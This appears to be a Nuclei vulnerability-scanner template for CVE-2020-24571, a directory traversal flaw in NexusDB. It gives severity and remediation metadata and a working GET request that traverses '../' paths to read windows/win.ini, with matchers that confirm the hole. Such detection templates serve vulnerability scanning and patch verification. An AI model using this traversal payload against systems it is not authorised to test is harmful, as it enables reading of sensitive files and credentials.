id: CVE-2020-24571

info:
  name: NexusDB <4.50.23 - Local File Inclusion
  author: pikpikcu
  severity: high
  description: NexusQA NexusDB before 4.50.23 allows the reading of files via ../ directory traversal and local file inclusion.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data.
  remediation: |
    Upgrade NexusDB to version 4.50.23 or later to mitigate the LFI vulnerability.
  reference:
    - https://www.nexusdb.com/mantis/bug_view_advanced_page.php?bug_id=2371
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24571
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/HimmelAward/Goby_POC
    - https://github.com/StarCrossPortal/scalpel
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-24571
    cwe-id: CWE-22
    epss-score: 0.17959
    epss-percentile: 0.96806
    cpe: cpe:2.3:a:nexusdb:nexusdb:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: nexusdb
    product: nexusdb
  tags: cve,cve2020,nexusdb,lfi,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/../../../../../../../../windows/win.ini'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "[extensions]"

      - type: status
        status:
          - 200
# digest: 490a00463044022067fa43eeba60c9510dab461397e06c33255ebcbacfdb1b9c6f28b86c099b1ae1022030280971f0ee34596446170d0bbd810d81b7058d6e06749efa91e70b07162806:922c64590222798bb761d5b6d8e72950